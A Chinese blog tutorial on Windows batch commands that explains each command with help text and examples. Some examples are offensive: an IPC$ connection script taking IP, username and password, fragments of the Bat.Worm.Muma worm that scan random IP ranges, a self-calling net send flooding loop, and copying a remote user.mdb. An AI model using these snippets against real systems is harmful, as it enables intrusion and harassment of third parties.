Windows批处理
所谓批处理,就是按规定的顺序自动执行若干个指定的DOS命令或程序。即是把原来一个一个执行的命令汇总起来,成批的执行。程序文件可以移植到其它电脑中运行,因此可以大大节省命令反复输入的繁琐。
批处理,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。当然,要学好批处理,DOS基础一定要牢!
举个简单的例子,借助批处理自动清理磁盘,脚本如下:
@echo off
Cleanmgr /sageset:88
Cleanmgr /sagerun:88
将以上文件存为Clean.bat,以后便可以用它来清理磁盘了。
注:建议不要把以上脚本存为Cleanmgr.bat。若将以上脚本存为Cleanmgr.bat,在XP上如果双击运行,会弹不出Disk Clean Settings对话框;如果先打开Cmd,然后把bat文件drag到Cmd中,便可正常运行。在Vista中如果双击bat文件,不会正常运行;如果先打开Cmd,在Cmd中输个完整的bat文件路径(Vista中默认是不能把bat文件drag到Cmd中的),也不会正常运行。原因当然是你把批处理的名字和系统已有的命令取成一样的了。更底层的原因还需要further investigation,可能以后会发一篇博文来说这个问题。
批处理的精髓:灵活!高效!简洁!没有做不到的,只有想不到的。想起了在CSDN Community中遇到的一个Signature:Do All in BAT!!
之所以想写这个东东,是因为最近有个小东东中有BAT文件。想学习学习,顺便再加点相关的东东。于是便有了这个东东。问:东东还很多嘛,答:一般多吧!呵呵!
本文以介绍命令为线索,有以下命令:
::
@
echo
pause
:和goto
%
if
call
find
for,set,shift
|
>,>>
<,>&,<&
&
&&
||
sort
1、::
这个命令的作用很简单,它就是注释命令,在批处理脚本中和rem命令等效。它本身连同它后面的内容在执行时都不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C#中的//类似。地球人都能看懂,就不多说了。
2、@
这个符号相信大家都不陌生,email的必备符号,怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。这可是很重要的哦。它的作用是让执行窗口中不显示它后面在这一行中的命令本身。也就是说,行首有了它的话,这一行的命令就不显示了。如在@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分,同时@也不会显示。这下懂了吧?还是不太懂?真的还是不太懂?那就想办法把它弄懂嘛!
3、echo
中文为"反馈"、"回显"的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。有echo on和echo off两个命令。
直接执行echo命令将显示当前echo命令状态(off或on),也就是说,你在Cmd下打echo,Cmd就会告诉你echo是on还是off。执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。常见的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。
echo命令的其他用法
一:可以用它来显示信息。当然是只能显示当前行的信息!
二:可以直接编辑文本文件。如:
echo ipconfig -all > tmp.bat
就会在当前目录下生成一个tmp.bat的文件,直接执行就会得到结果。
4、pause
中文为"暂停"的意思(看看你的mp4上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .
5、:和goto
为什么要把这两个命令联合起来介绍?是因为要把这两个命令联合起来介绍,呵呵,是因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,而:是一个标签。当程序运行到goto 时,将自动跳转到:定义的部分去执行了(是不是分不开?嗯,是的)。goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。
goto命令的一种常见用法:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
......
goto end
......
:end
这里:end在脚本最后一行!其实这个例子很弱智,但是可以用。
6、%
这个百分号严格来说是算不上命令的,它只是批处理中用来指示参数的提示符而已(我自己是这么理解的,如有错误,欢迎指正),但千万别以为它只是参数就小看了它,少了它批处理的功能就不及格了,呵呵。看看下面的脚本,建立与指定IP的IPC$(空连接):
net use //%1/ipc$ %3 /u:"%2"
其中,%1代表IP,2%代表username,3%代表password。
执行形式为:脚本文件名参数一参数二 ......
假设这个脚本被保存为a.bat,则执行形式如下:a IP username password
这里IP、username、password是三个参数。这样在脚本执行过程中,脚本就会自动用你的三个参数依次代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password写死了,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,这就是%的作用!!)。
7、if
总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法:
(1)、输入判断。
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为/?或help时,跳转到usage。这里还可以用否定形式来表示"不等于",例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage。很简单!
(2)、存在判断。再看这句:
if exist C:/Progra~1/Tencent/QQ/ad/*.gif del C:/Progra~1/Tencent/QQ/ad/*.gif
如果存在这些广告的gif文件,就删除这些文件。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句"如果不存在那些gif文件则退出脚本":
if not exist C:/Progra~1/Tencent/QQ/ad/*.gif exit
只是多一个not来表示否定而已。
(3)、结果判断。和汇编有关的一个例子:
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm)。
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍能表达上面三句的意思,代码变为:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
这种用errorlevel结果判断的用法是if命令很有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示"否则"的操作,是比较麻烦的。以上代码必须变成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
标准的if 用法可以在Cmd中查看if /? >if.txt。
8、call
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看如下的例子(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
start.bat:
......
CALL 10.BAT 0
......
10.bat:
......
ECHO %IPA%.%1 >HFIND.TMP
......
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
静下心来,呵呵,从上面两个脚本,我们可以从中获悉:
1、脚本调用可以灵活运用,循环运用、重复运用。
2、脚本调用可以使用参数!
Tips need to know: 指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值。
解释一下:
在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在10.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数)。执行时的效果,就是用IPCFind.txt中的每一行的三个变量对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在以后的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然被包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这个脚本,都是Bat.Worm.Muma病毒的一部分。
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁啊?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!如下所示(默认脚本文件名a.bat):
net send %1 This is a call example.
call a.bat
这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10个窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。
给出一个很有意思的脚本,有兴趣的朋友可以实验一下(默认脚本文件名为a.bat):
call a.bat
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,Recursion Count=1240,Stack Usage=90 percent,别忘了想一下到底是为什么!可能还会发篇博文说明这个东东。
9、find
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。如下有个例子:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串"7626" ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找"7626"(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。如有错误,欢迎指正)。因为在find命令的帮助里有这么一句话:If a path is not specified, FIND searches the text typed at the prompt or piped from another command.
附find命令的官方帮助:Find
在一个文件或多个文件中搜索指定的文本字符串。当搜索到指定的文件后,find将显示出包含指定字符串的所有行。
FIND [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[ ...]]
参数
/v 显示未包含指定字符串的所有行。
/c 只显示包含指定字符串的行数。
/n 将文件行号置于每行开头。
/I 指定搜索不区分大小写。
/OFF[LINE] 把定不跳过具有offline attribute set的文件。
"string" 指定要搜索的字符串。必须将string的文本包括在引号中。
[drive:][path] filename 指定要在其中搜索指定字符串的文件的位置和名称。如果没有指定路径,FIND会搜索type于Prompt下或另一个命令的文本。
10、for、set、shift
为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太知道,哈哈!可能它们三个有缘吧!!
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
执行后就在当前路径下生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。关键还是那句话,看你有没有耐心去研究了。看如下的例子:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。不懂的地方好好研究一下,相信你可以完全明白的!!(做一件事情,如果你真想把它做好,做到极限,通过不懈的努力,有一天你会发现,自己到达近于极限的那种感受是没有接近于极限的人所从来没有办法企及的。我觉得,每个人经过自己的不懈努力都可以达到自己的极限。忽然想起顾拜旦的一句话:生活的本质不是索取,而是奋斗!)
附For命令的官方帮助:For
对一组文件中的每个文件运行指定的命令。可以在批处理程序中或直接从命令提示符使用for命令。
要在批处理程序中使用for命令,请使用以下语法:
for %%variable in (set) do command [command-parameters]
要在命令提示符下使用 for,请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable或%variable
代表可替换的参数。for命令使用在set中指定的每个文本字符串替换%%variable(或%variable),直到此命令(在command-parameters中指定)处理所有的文件为止。使用%%variable在批处理程序中执行for命令。使用%variable通过命令提示符执行for命令。注意变量名区分大小写。
(set)
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号,可以使用通配符。
command
指定要在指定的set所包含的每个文件上执行的命令。
command-parameters
指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。
如果启用了命令扩展,将支持如下for命令的格式(只限于目录,而不是文件名):
for /D [%% | %]variable in (set) do command [command-parameters]
如果set包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。
递归
for /R [[drive :]path] [%% | %]variable in (set) do command [command-parameters]
进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号(.)字符,则只列举目录树。
迭代
for /L [%% | %]variable in (start,step,end) do command [command-parameters]
括号中的集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列1 2 3 4 5,而(5,-1,1)将生成序列(5 4 3 2 1)。
文件解析
for /F ["options"] [%% | %]variable in (file-set) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出现 usebackq 选项:
for /F ["options"] [%% | %]variable in (file-set) do command [command-parameters]
for /F ["options"] [%% | %]variable in (‘string’) do command [command-parameters]
for /F ["options"] [%% | %]variable in (‘command’) do command [command-parameters]
file-set参数指定一个或多个文件名称。在继续到file-set中的下一个文件之前,每个文件都会被打开、读取和处理。过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用for循环体。默认情况下,/F传递每个文件每一行的第一个空白分隔符号。空行会被跳过。通过指定可选的"options"参数可以override默认的解析行为。这个”option”是一个引用的字符串,它包含一个或多个关键字以指定不同的解析选项。
关键字是:
eol=c 指定行尾注释字符(只一个字符)
skip=n 指定在文件的开头跳过的行数。
delims=xxx 指定定界符集合。这将替换空格符和制表符的默认分隔符集。
tokens=x,y,m-n 指定每行的哪些令牌将被传送到for循环体进进行每一次迭代。这将导致分配其他变量名。m-n格式是一个范围,指定从第m个到第n个的令牌。如果在令牌=字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。
usebackq指定新的有效的语法,将右引号字符串作为命令执行,单引号字符串是文字字符串命令,并允许使用双引号括住file-set中的文件名。
下面是For的官方help自带的例子以帮助理解:
For /f “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do @echo %i %j %k
这个命令会解析myfile.txt中的每一行,忽略以分号(;)开头的每一行(eol=; 分号就标示着一行的结束,如果某行以分号开头,当然会被忽略),把每行的第二个和第三个令牌传递给for循环体,令牌由逗号and/or spaces来分界。注意for循环中的%i将得到第2个令牌,%j将得到第三个令牌,%k将得到第3个令牌后剩下的所有令牌。对于file-set名字中包含spaces的需要把文件名加双引号。为了在这种方式下使用双引号,必须使用usebackq选项;否则,双引号会被解析成文字字符串定义符。
%i在for里显示声明,%j和%k通过tokens=option隐式声明。你最多可以指定26个令牌通过tokens=line,如果你没有试图声明一个变量比’z’或’Z’的值要高。记住,FOR变量是单字符的,大小写敏感的,全局的,而且你一次不能有多于52个active的变量。
你同样可以把For /f解析逻辑用于立即字符串,通过单引号把字符串引在括号内。字符串就会被当作来输入的来自于文件的一行被解析。
最后,你同样可以使用For /f命令来解析一个命令的输出。通过在括号中用后引号把字符串括起来的方法就可以了。这个字符串就会被当作一个命令行来执行,传给一个子Cmd.exe并且把输出写入内存,就像它被当作一个文件一样。所以,下面的例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
就会在当前的环境下枚举变量名称。
此外,已经增强了for变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量I):
%~I 展开删除了周围的任何引号 (") 的%I
%~fI 将%I展开到完全合格的路径名
%~dI 只将%I展开到驱动器号
%~pI 只将%I展开到路径
%~nI 只将%I展开到文件名
%~xI 只将%I展开到文件扩展名
%~sI 展开的路径只包含短名称
%~aI 将%I展开到文件的文件属性
%~tI 将%I展开到文件的日期/时间
%~zI 将%I展开到文件大小
%~$PATH:I 搜索PATH环境变量所列出的目录,并将%I展开开到第一个发现的全部合格的名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。
修改程序可以合并以获得复杂的结果:
%~dpI 只将%I展开到驱动器号和路径
%~nxI 只将%I展开到文件名和扩展名
%~fsI 将%I展开到只包含短名称的完整路径名
%~dp$PATH:I 在PATH环境变量所列出的目录中搜索%I,并展开到第一个找到的驱动器号和路径
%~ftzaI 将%I扩展到与dir相似的输出行
在上述范例中,%I和PATH可被其他有效值替换。通过有效的for变量名终止%~语法。使用大写变量名(例如%I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆。
附Shift命令的官方帮助:Shift
更改批处理文件中可替换参数的位置。
Shift [/n]
启用命令扩展后,shift命令支持/n开关,该开关通知命令在第n个参数处开始更改,n可以是从0到8的任何一个值。例如:
SHIFT /2
将%3改为%2,将%4改为%3等等,而%0和%1保持不变。
下面将说几个批处理中常用的几个组合命令和管道命令。这些命令是用来让批处理变的友好,简单和完美的。
常用的管道命令有以下这些:|、>、>>
11、|
这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?如下:
help | more
回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按下回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。
为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。在这里先说一下help命令和more命令,对理解|命令的用法有很大帮助。
11.1、 help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。
11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在 DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在上例中,more命令的作用就是让输出的信息逐屏或逐行显示。
看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在上例中,前一命令的输出,就是 help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以上例和下例是等效的:
help > a.txt
more a.txt
del a.txt
这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。
|命令的作用,就是让前一命令的输出当做后一命令的输入。
附More命令的官方帮助:More
每次显示一个输出屏幕。所以,该命令通常用于查看长文件。可以单独使用此命令,或者使用它控制其他命令的输出,例如type命令。
MORE [/E [/C] [/P] [/S] [/Tn] [+n]] < [drive:][path]filename
command-name | MORE [/E [/C] [/P] [/S] [/Tn] [+n]]
MORE /E [/C] [/P] [/S] [/Tn] [+n] [files]
参数
[drive:][path] filename
指定要显示的文件。
command name
指定将显示其输出的命令。
/e 显示扩展的feature
/c 显示页面前清除屏幕
/p 扩展走纸符
/s 将多个空白行更改为一个空白行
/Tn 扩展制表位到n个空格(默认为8)
+n 显示由第n行的第一个文件
files 指定要显示的文件列表。用空格分隔文件名。
如果启用了扩展的features,以下命令在more提示(-- More --)下接受:
关键字操作
P n 显示以下n行
S n 跳过下面n行
F 显示下一个文件
Q 退出
= 显示行号
? 显示帮助行
<Space> 显示下一页
<ret> 显示下一行
12、>、>>
这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是, >会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。如下:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe yourself! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到这里,你得到了多少信息?
1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;
2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。
13、<、>&、<&
这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。
<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。
>&,将一个句柄的输出写入到另一个句柄的输入中。
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。
下面说一下组合命令:&、&&、||
组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理的脚本中是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。在批处理脚本中,有些时候某些命令是不能同时执行的。
14、&
这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。如下:
copy a.txt b.txt /y & del a.txt
其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。
15、&&
切记,这里说的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例如:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:/backup/www
如果远程主机存在user.mdb,则copy到本地e:/backup/www,如果不存在当然就不执行copy了。想想它能用在什么地方,呵呵。
其实它和下面这句的作用是一样的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:/backup/www
至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。
你是否还记得"有些命令是不能同时执行的"?你是否相信这句话?当然得相信,不信就给你出道题:同时把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,就像下面的样子:
dir c:/ && dir d:/ > a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和 >命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:/和dir d:/ > a.txt,而并不是如你想的这两部分:dir c:/ && dir d:/和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:
dir c:/ > a.txt && dir d:/ >> a.txt
这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:/ > a.txt和dir d:/ >> a.txt。
当然这里还可以利用&命令(自己想一下这样为什么可以):
dir c:/ > a.txt & dir d:/ >> a.txt
16、||
这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。如下:
@echo off
dir s*.exe || exit
其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看看下面:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。
给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有一个很大的好处----不会出错!OK,请看下面的两个例子:
@echo off
dir a.ttt /a & dir a.txt || exit
和
@echo off
dir a.ttt /a && dir a.txt || exit
自己设置一下环境,看看结果吧,呵呵!
有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系就比较复杂了!需要好好学习!
17、Sort
这个命令在最后处理结果的时候可能会用到,也说一下吧。
此命令用于读取输入,排序数据并将结果写到屏幕、文件和其他设备上。
SORT [/R] [/+n] [/M kilobytes] [/L locale] [/REC recordbytes] [[drive1:] [path1] filename1] [/T [drive2:] [path2]] [/O [drive3:] [path3] filename3]
参数说明:
/r[everse] 颠倒排序顺序,即从Z到A排序,然后从9到0排序。
/+n 指定字符位置号n,sort在此处开始每次比较。例如,/+3表示每次比较在每行的第三个字符开始。少于n个字符的行在其他行之前排序。默认情况下,比较在每行的第一个字符开始。
/m[emory] kilobytes 指定用于排序的主内存数量,按千字节(KB)计。使用的内存最小值总是160KB。如果指定了内存大小,则无论有多少主内存可用,指定的确切数量(但至少160KB)的内存将用于排序。
最佳的性能通常是在不指定内存大小的情况下获得的。默认情况下,sort会一次完成(没有临时文件),如果这次sort适合于默认的最大内存;否则,sort会分两次完成(一部分排序的数据存储于临时文件中),且用于sort的内存和merge的内存是相等的。如果输入输出均为文件,在没有指定大小时,默认最大内存大小为可用主内存的90%,否则为主内存的45%。
/l locale override系统默认区域设置定义的字符排序顺序。选择"C"区域设置会产生最快的排序序列且是止前唯一alternative的。排序通常不区分大小写。
/REC[ORD_MAXIMUM] characters 指定一个记录中的最多字符数(默认值为 4096,最大值为 65535)。
[drive1:][path1] filename1 指定要排序的文件。如果没有指定文件名,则对标准输入排序。指定输入文件比将重定向到同一文件作为标准输入排序速度快。
/T[EMPORARY][drive2:][path2] 指定保留sort命令工作存储路径,防止数据不能装入主内存。默认为使用系统临时目录。
/O[UTPUT][drive3:][path3]filename3 指定存储排序后的输入文件。如果没有指定,数据将写入标准输出。指定输出文件比将重定向标准输出到同一文件速度快。
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/chimomo/archive/2008/05/19/2458784.aspx